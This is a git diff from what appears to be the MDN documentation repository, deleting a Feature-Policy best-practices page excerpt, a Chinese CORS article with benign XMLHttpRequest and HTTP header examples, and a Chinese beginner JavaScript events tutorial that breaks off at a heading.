Enforcing best practices for good user experiences

- -

It's difficult to build a website that uses all the latest best practices and provides great performance and user experiences. As the website evolves, it can become even harder to maintain the user experience over time. You can use feature policies to specify the desired best practices, and rely on the browser to enforce the policies to prevent regressions.

- -

There are several policy-controlled features designed to represent functionality that can negatively impact the user experience. These features include:

- -
    -
  • Layout-inducing Animations
  • -
  • Unoptimized (poorly compressed) images
  • -
  • Oversized images
  • -
  • Synchronous scripts
  • -
  • Synchronous XMLHttpRequest
  • -
  • Unsized media
  • -
- -

To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. That is, the default allowlist is '*' for each feature. Preventing the use of the sub-optimal functionality requires explicitly specifying a policy that disables the features.

- -

For new content, you can start developing with a policy that disables all the features. This approach ensures that none of the functionality is introduced. When applying a policy to existing content, testing is likely required to verify it continues to work as expected. This is especially important for embedded or third-party content that you do not control.

- -

To turn on the enforcement of all the best practices, specify the policy as below.

- -

Send the following the HTTP header:

- -
Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';
- -

Using the <iframe> allow attribute:

- -
<iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe>
- -

See also

- -
    -
  • Feature Policy
  • -
  • {{HTTPHeader("Feature-Policy")}} header
  • -
  • {{HTMLElement('iframe','allow','#Attributes')}} attribute on iframes
  • -
  • {{HTTPHeader("Content-Security-Policy")}} header
  • -
  • {{HTTPHeader("Referrer-Policy")}} header
  • -
diff --git "a/files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" "b/files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" deleted file mode 100644 index 5d4f591eb7..0000000000 --- "a/files/zh-cn/web/http/\350\267\250\345\237\237\350\265\204\346\272\220\345\205\261\344\272\253(cors)_/index.html" +++ /dev/null @@ -1,544 +0,0 @@ ---- -title: 跨域资源共享(CORS) -slug: Web/HTTP/跨域资源共享(CORS)_ ---- -
{{ HTTPSidebar }}
- -
- -
跨域资源共享({{Glossary("CORS")}}) 是一种机制,它使用额外的 {{Glossary("HTTP")}} 头来告诉浏览器  让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求
- -
- -
如,站点 http://domain-a.com 的某 HTML 页面通过 <img> 的 src 请求 http://domain-b.com/image.jpg。网络上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源。
- -
- -

出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

- -

  (译者注:这段描述不准确,并不一定是浏览器限制了发起跨站请求,也可能是跨站请求可以正常发起,但是返回结果被浏览器拦截了。)

- -

- -

跨域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 Fetch )使用 CORS,以降低跨域 HTTP 请求所带来的风险。

- -

谁应该读这篇文章?

- -

说实话,每个人。

- -

更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨域资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 cross-origin sharing from a server perspective (with PHP code snippets)

- -

什么情况下需要 CORS ?

- -

跨域资源共享标准( cross-origin sharing standard )允许在下列场景中使用跨域 HTTP 请求:

- - - -

本文概述了跨域资源共享机制及其所涉及的 HTTP 头。

- -

功能概述

- -

跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

- -

CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

- -

接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。

- -

若干访问控制场景

- -

这里,我们使用三个场景来解释跨域资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。

- -

本文中的 JavaScript 代码片段都可以从 http://arunranga.com/examples/access-control/ 获得。另外,使用支持跨域  {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。

- -

关于服务端对跨域资源共享的支持的讨论,请参见这篇文章: Server-Side_Access_Control (CORS)

- -

简单请求

- -

某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:

- -
    -
  • 使用下列方法之一: -
      -
    • {{HTTPMethod("GET")}}
    • -
    • {{HTTPMethod("HEAD")}}
    • -
    • {{HTTPMethod("POST")}}
    • -
    -
  • -
  • Fetch 规范定义了对 CORS 安全的首部字段集合,不得人为设置该集合之外的其他首部字段。该集合为: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • -
    • DPR
    • -
    • Downlink
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  • {{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: -
      -
    • text/plain
    • -
    • multipart/form-data
    • -
    • application/x-www-form-urlencoded
    • -
    -
  • -
  • 请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。
  • -
  • 请求中没有使用 {{domxref("ReadableStream")}} 对象。
  • -
- -
注意: 这些跨域请求与浏览器发出的其他跨域请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨域请求的网站无需为这一新的 HTTP 访问控制特性担心。
- -
注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。
- -

比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/public-data/';
-
-function callOtherDomain() {
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
-
- -

客户端和服务器之间使用 CORS 首部字段来处理跨域权限:

- -

- -

分别检视请求报文和响应报文:

- -
GET /resources/public-data/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
-Origin: http://foo.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-
- -

第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 http://foo.example

- -

第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:

- -

Access-Control-Allow-Origin: http://foo.example

- -

现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。Access-Control-Allow-Origin 应当为 * 或者包含由 Origin 首部字段所指明的域名。

- -

预检请求

- -

与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}}   方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

- -

当请求满足下述任一条件时,即应首先发送预检请求:

- -
    -
  • 使用了下面任一 HTTP 方法: -
      -
    • {{HTTPMethod("PUT")}}
    • -
    • {{HTTPMethod("DELETE")}}
    • -
    • {{HTTPMethod("CONNECT")}}
    • -
    • {{HTTPMethod("OPTIONS")}}
    • -
    • {{HTTPMethod("TRACE")}}
    • -
    • {{HTTPMethod("PATCH")}}
    • -
    -
  • -
  • 人为设置了对 CORS 安全的首部字段集合之外的其他首部字段。该集合为: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • -
    • DPR
    • -
    • Downlink
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  •  {{HTTPHeader("Content-Type")}} 的值不属于下列之一: -
      -
    • application/x-www-form-urlencoded
    • -
    • multipart/form-data
    • -
    • text/plain
    • -
    -
  • -
  • 请求中的{{domxref("XMLHttpRequestUpload")}} 对象注册了任意多个事件监听器。
  • -
  • 请求中使用了{{domxref("ReadableStream")}}对象。
  • -
- -
-

注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。

-
- -

如下是一个需要执行预检请求的 HTTP 请求:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/post-here/';
-var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
-
-function callOtherDomain(){
-  if(invocation)
-    {
-      invocation.open('POST', url, true);
-      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
-      invocation.setRequestHeader('Content-Type', 'application/xml');
-      invocation.onreadystatechange = handler;
-      invocation.send(body);
-    }
-}
-
-......
-
- -

上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。

- -

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
- -

预检请求完成之后,发送实际请求:

- -
POST /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://foo.example/examples/preflightInvocation.html
-Content-Length: 55
-Origin: http://foo.example
-Pragma: no-cache
-Cache-Control: no-cache
-
-<?xml version="1.0"?><person><name>Arun</name></person>
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
-
-[Some GZIP'd payload]
- -

浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 OPTIONS 方法的“预检请求”。 OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:

- -
Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
- -

首部字段 Access-Control-Request-Method 告知服务器,实际请求将使用 POST 方法。首部字段 Access-Control-Request-Headers 告知服务器,实际请求将携带两个自定义请求首部字段:X-PINGOTHER 与 Content-Type。服务器据此决定,该实际请求是否被允许。

- -

第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:

- -
Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
- -

首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用 POST, GET OPTIONS 方法发起请求。该字段与 HTTP/1.1 Allow: response header 类似,但仅限于在需要访问控制的场景中使用。

- -

首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 X-PINGOTHER Content-Type Access-Control-Allow-Methods 一样,Access-Control-Allow-Headers 的值为逗号分割的列表。

- -

最后,首部字段 Access-Control-Max-Age 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。

- -

预检请求与重定向

- -

大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:

- -
-

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

-
- -
-

Request requires preflight, which is disallowed to follow cross-origin redirect

-
- -

CORS 最初要求该行为,不过在后续的修订中废弃了这一要求

- -

在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:

- -
    -
  • 在服务端去掉对预检请求的重定向;
  • -
  • 将实际请求变成一个简单请求。
  • -
- -

如果上面两种方式难以做到,我们仍有其他办法:

- - - -

不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。

- -

附带身份凭证的请求

- -

Fetch 与 CORS 的一个有趣的特性是,可以基于  HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨域 {{domxref("XMLHttpRequest")}} 或 Fetch 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。

- -

本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/credentialed-content/';
-
-function callOtherDomain(){
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.withCredentials = true;
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
- -

第 7 行将 XMLHttpRequest 的 withCredentials 标志设置为 true,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。

- -

- -

客户端与服务器端交互示例如下:

- -
GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/credential.html
-Origin: http://foo.example
-Cookie: pageAccess=2
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
-X-Powered-By: PHP/5.2.6
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
-
-[text/plain payload]
- -

即使第 11 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true(第 19 行),则响应内容不会返回给请求的发起者。

- -

附带身份凭证的请求与通配符

- -

对于附带身份凭证的请求,服务器不得设置 Access-Control-Allow-Origin 的值为“*”。

- -

这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 http://foo.example,则请求将成功执行。

- -

另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。

- -

HTTP 响应首部字段

- -

本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。

- -

Access-Control-Allow-Origin

- -

响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:

- -
Access-Control-Allow-Origin: <origin> | *
-
- -

其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。

- -

例如,下面的字段值将允许来自 http://mozilla.com 的请求:

- -
Access-Control-Allow-Origin: http://mozilla.com
- -

如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。

- -

Access-Control-Expose-Headers

- -

译者注:在跨域访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。

- -

{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:

- -
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
-
- -

这样浏览器就能够通过getResponseHeader访问X-My-Custom-Header和 X-Another-Custom-Header 响应头了。

- -

Access-Control-Max-Age

- -

{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。

- -
Access-Control-Max-Age: <delta-seconds>
-
- -

delta-seconds 参数表示preflight请求的结果在多少秒内有效。

- -

Access-Control-Allow-Credentials

- -

{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。

- -
Access-Control-Allow-Credentials: true
-
- -

上文已经讨论了附带身份凭证的请求

- -

Access-Control-Allow-Methods

- -

{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。

- -
Access-Control-Allow-Methods: <method>[, <method>]*
-
- -

相关示例见这里

- -

Access-Control-Allow-Headers

- -

{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。

- -
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
-
- -

HTTP 请求首部字段

- -

本节列出了可用于发起跨域请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨域请求时,它们已经被设置就绪。

- -

Origin

- -

{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。

- -
Origin: <origin>
-
- -

origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。

- -
Note: 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。
- -

注意,不管是否为跨域请求,ORIGIN 字段总是被发送。

- -

Access-Control-Request-Method

- -

{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。

- -
Access-Control-Request-Method: <method>
-
- -

相关示例见这里

- -

Access-Control-Request-Headers

- -

{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。

- -
Access-Control-Request-Headers: <field-name>[, <field-name>]*
-
- -

相关示例见这里

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants CORS specification.
{{SpecName('CORS')}}{{Spec2('CORS')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

- -

- -
    -
  • IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。
  • -
  • Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨域支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨域支持;Firefox 9 引入了对 drawImage 的跨域支持。
  • -
- -

参见

- - - -

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git a/files/zh-cn/web/javascript/getting_started/index.html b/files/zh-cn/web/javascript/getting_started/index.html deleted file mode 100644 index 67056c679b..0000000000 --- a/files/zh-cn/web/javascript/getting_started/index.html +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: 起步(Javascript 教程) -slug: Web/JavaScript/Getting_Started -tags: - - bug-840092 -translation_of: Learn/Getting_started_with_the_web/JavaScript_basics -translation_of_original: Web/JavaScript/Getting_Started ---- -

JavaScript是什么?

- -

作为一门计算机语言,JavaScript本身强大、复杂,且难于理解。但是,你可以用它来开发一系列的应用程序,它有巨大的潜力来改变当前的互联网现状。下面这个应用程序就是一个很好的例子:Google Maps

- -

JavaScript(通称为ECMAScript)最大的优势在于,它基于浏览器,但是通过浏览器的支持可以在不同平台上生产出相同结果。 本文举出的例子是 Google Maps,它几乎可以无差别的运行在 Linux、Windows和Mac OS系统中。 伴随大量JavaScript类库的出现,你现在可以用它很轻易的实现文档导航、DOM元素选择、创建动画、处理事件和开发AJAX应用。同其他因各种利益目的而推动的技术不同,JavaScript是一种真正免费并且被广泛采用的跨平台编程语言。

- -

你应该知道

- -

JavaScript是一种非常容易入门的编程语言。你只需要一个文本编辑器和web浏览器就可以开始进行学习。 

- -

在使用 JavaScript进行开发的过程中,可能还会涉及很多其他技术,这不在本文讨论的范围之内。 所以,不要期望在学习的第一天就能开发出一个类似 Google maps 这样的应用程序。

- -

起步

- -

JavaScript的起步非常简单。你不需要进行复杂的程序安装,不需要去了解如何使用shell、打包器或编译器。它是通过浏览器来展示的,你所需要做的全部事情就是把你的代码保存为文本文件,然后再浏览器中打开。就这么简单!

- -

JavaScript非常适合作为入门级的编程语言。它直观形象,并且教会学生认识到这是一个在实际生活中非常有用的工具。 对比C、C++和 Java等语言会发现有很大不同,它们只对那些专业的软件开发者来说是有价值的。

- -

浏览器兼容问题

- -

不同浏览器在功能实现上有很多不同之处。Mozilla, Microsoft IE, Apple Safari 和 Opera 在行为上有很多差异。 我们计划在此记录这些差异 documenting these variations。你可以使用各种跨平台的JavaScript API接口来解决这些兼容性问题。这些API隐藏了浏览器之间的各种差异,提供了通用性的功能函数来方便调用。

- -

如何运行示例

- -

下面的例子都有相同的代码。要执行它们有多种方法,如果你有自己的个人站点,你还可以在站点上把这些例子保存为新的页面。

- -

如果你没有自己的个人站点,你可以在电脑上把这些例子保存下来,并使用你自己的浏览器来执行它们。这就是JavaScript简单的地方,也是它适合做入门语言的原因。你不需要编译器或者开发环境,你只需要一个浏览器就可以开始起步了。

- -

举例:捕获一个鼠标单击事件

- -

事件处理 (事件类型、事件注册、冒泡等) 的细节是一个非常宽泛的话题,这个简单的例子并不能说明所有的问题。然而,如果我们不涉及JavaScript事件系统,我们就不能很好展示一个鼠标点击捕获的范例。你只需要记得例子里展示的只是JavaScrpt事件系统里非常表象的一些东西,如果你想要了解更多的内部细节,那你可以去查找更详细的相关资料。

- -

鼠标事件只是浏览器同用户交互过程中所产生的事件系统里的一个子集。下面列举了一些用户在交互过程中产生的具体的鼠标事件:

- -
    -
  • Click - 用户点击鼠标时触发
  • -
  • DblClick - 用户双击鼠标时触发
  • -
  • MouseDown - 用户按下鼠标键触发 (click事件前半部分)
  • -
  • MouseUp - 用户释放鼠标键触发 (click事件后半部分)
  • -
  • MouseOut - 当鼠标指针离开对象物理边界时触发
  • -
  • MouseOver - 当鼠标指针进入对象物理边界时触发
  • -
  • MouseMove -当鼠标指针在对象物理边界内移动时触发
  • -
  • ContextMenu - 用户点击鼠标右键时触发
  • -
- -

捕获事件并注册处理函数最简单的办法就是使用HTML,你可以把事件当成元素属性来使用。例子:

- -
  <span onclick="alert('Hello World!');">Click Here</span>
- -

要执行的JavaScript代码既可以作为属性值写在行内位置,也可以写成函数并用<script>包裹后放到HTML页面中:

- -
<script type="text/javascript">
-  function onclick_callback () {
-     alert ("Hello, World!");
-  }
-</script>
-<span onclick="onclick_callback();">Click Here</span>
- -

另外,事件对象是可以被捕获和引用,开发者可以通过访问事件对象来获取更多信息,如捕获事件的对象、事件类型、哪个鼠标按键被点击等。我们还用上面的例子来说明:

- -
<script type="text/javascript">
-  function onclick_callback(event) {
-    var eType = event.type;
-    /* the following is for compatability */
-    /* Moz populates the target property of the event object */
-    /* IE populates the srcElement property */
-    var eTarget = event.target || event.srcElement;
-
-    alert( "Captured Event (type=" + eType + ", target=" + eTarget );
-  }
-</script>
-<span onclick="onclick_callback(event);">Click Here</span>
- -

对于事件的注册和接收还用注意一些的是,你可以给任何使用JavaScript生成的HTMLElement对象做相同的操作。下面的例子展示了一个这样的过程:生成span对象,添加到页面中的body,给span注册mouse-over、mouse-out、mouse-down和 mouse-up事件。

- -
<script type="text/javascript">
-  function mouseevent_callback(event) {
-    /* The following is for compatability */
-    /* IE does NOT by default pass the event object */
-    /* obtain a ref to the event if one was not given */
-    if (!event) event = window.event;
-
-    /* obtain event type and target as earlier */
-    var eType = event.type;
-    var eTarget = event.target || event.srcElement;
-    alert(eType +' event on element with id: '+ eTarget.id);
-  }
-
- function onload () {
-   /* obtain a ref to the 'body' element of the page */
-   var body = document.body;
-   /* create a span element to be clicked */
-   var span = document.createElement('span');
-   span.id = 'ExampleSpan';
-   span.appendChild(document.createTextNode ('Click Here!'));
-
-   /* register the span object to receive specific mouse events */
-   span.onmousedown = mouseevent_callback;
-   span.onmouseup = mouseevent_callback;
-   span.onmouseover = mouseevent_callback;
-   span.onmouseout = mouseevent_callback;
-
-   /* display the span on the page */
-   body.appendChild(span);
-}
-</script>
- -

{{ draft() }}

- -

举例:捕获一个键盘事件

- -

